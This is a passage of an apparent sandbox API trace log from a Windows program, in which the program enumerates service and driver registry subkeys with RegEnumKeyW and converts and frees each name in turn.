lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0249.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.362] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0249.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f19b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0249.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.362] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0249.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0249.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.363] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f19b8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.363] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.363] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f19b8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.363] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0249.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.364] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0249.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.364] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0249.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.364] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0249.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0249.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.364] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.365] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.365] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.365] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0249.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.366] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0249.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0249.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.366] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0249.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0249.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.366] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0249.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0249.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.366] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0249.366] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0249.367] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.367] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.368] RegEnumKeyW (in: hKey=0x154, 